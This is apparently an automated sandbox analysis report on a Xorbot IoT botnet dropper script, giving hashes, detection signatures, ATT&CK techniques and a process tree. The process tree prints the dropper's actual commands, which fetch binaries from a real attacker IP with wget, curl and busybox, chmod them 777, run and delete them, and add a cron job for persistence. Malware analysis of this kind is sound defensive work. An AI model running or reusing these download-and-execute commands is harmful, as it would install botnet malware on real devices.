xorbot | 0651fa8757865e55623d59b097dbe0082aff12625569639ada2baa88424b5486

Analysis

max time kernel
149s
max time network
87s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/01/2025, 17:12

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General

Target

bins.sh
Size

10KB
MD5

045528b151eb59a7dabeeb1df9678970
SHA1

7c03b5160de1aabf497ecbe90690ead44c3c3c80
SHA256

0651fa8757865e55623d59b097dbe0082aff12625569639ada2baa88424b5486
SHA512

b3909ed5c86c731251475181ce1309921495298923d6539b6e658345feca8b6d768efa754b24288236dedd08a0b487c0f1d6c59dc49c7938db85aa43c6e7855e
SSDEEP

96:mGCQDDcwd5Vvm+q4rc0yJptz8wm3vhMXuSV1xbWGvvYwzeGCQDDcGd5Vvm+M4rcv:jk4w0yJptZ9V1xbWGvFw0yJpu1xbWGY

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
760	chmod
767	chmod
692	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	693	fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
/tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv	761	iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
/tmp/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq	768	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq

Renames itself 1 IoCs

pid	Process
769	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.O06N9x	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/12/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/789/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/804/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/15/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/313/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/792/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/799/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/11/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/13/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/19/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/28/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/649/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/777/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/637/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/643/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/645/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/787/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/7/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/103/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/280/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/310/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/579/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/775/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/778/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/780/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/1/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/6/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/14/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/20/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/21/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/597/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/5/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/9/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/27/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/290/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/801/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/2/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/172/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/207/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/600/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/24/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/43/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/291/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/4/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/644/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/791/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/798/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/22/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/26/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/144/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/776/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/779/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/10/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/25/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/145/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/293/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/323/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
File opened for reading	/proc/797/cmdline	yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq	wget
File opened for modification	/tmp/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq	curl
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	wget
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	busybox
File opened for modification	/tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv	curl
File opened for modification	/tmp/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq	busybox
File opened for modification	/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD	curl
File opened for modification	/tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv	wget
File opened for modification	/tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:645
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:647
- /usr/bin/wget
  wget http://66.63.187.225/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:676
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod 777 fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  ./fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  - Executes dropped EXE
  PID:693
- /bin/rm
  rm fp1TM7xkHleA56PawZ0JH51VscniTO4kvD
  2⤵
  PID:696
- /usr/bin/wget
  wget http://66.63.187.225/bins/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  - Writes file to tmp directory
  PID:698
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:721
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  ./iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv
  2⤵
  PID:763
- /usr/bin/wget
  wget http://66.63.187.225/bins/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
  2⤵
  - Writes file to tmp directory
  PID:764
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
  2⤵
  - Writes file to tmp directory
  PID:766
- /bin/chmod
  chmod 777 yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
  ./yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:768
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:770
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:771
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:772
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:773
- /bin/rm
  rm yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq
  2⤵
  PID:777
- /usr/bin/wget
  wget http://66.63.187.225/bins/KgEUD0YT570eRuwEbsAzlgEGTgbKUNKhcV
  2⤵
  PID:780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/fp1TM7xkHleA56PawZ0JH51VscniTO4kvD

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/iUlA7dxNS7acZIL26D0w5R1b7giKezKQDv

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/yiAd8qrKanwNpgbEW7q45Arzd5D9pisxSq

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.O06N9x

Filesize
210B

MD5
b403f6fc9fc34573b6ec2d9eddac9449

SHA1
0a1148d3a4d0d8d717a0cf2e6765810779eaf8f4

SHA256
03a2ace8e50f0e9ec639081704fef98eccc19429dd828496030bbab8b724e03e

SHA512
695fcc230311db2302a4dd293c4e1bd34834fbd1501c9ea91edbbbe973fb7d707534b17d1f0cd3f021feaa56131bdd095fc8be9d3540f1d051b86d4a51c6ac3c

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads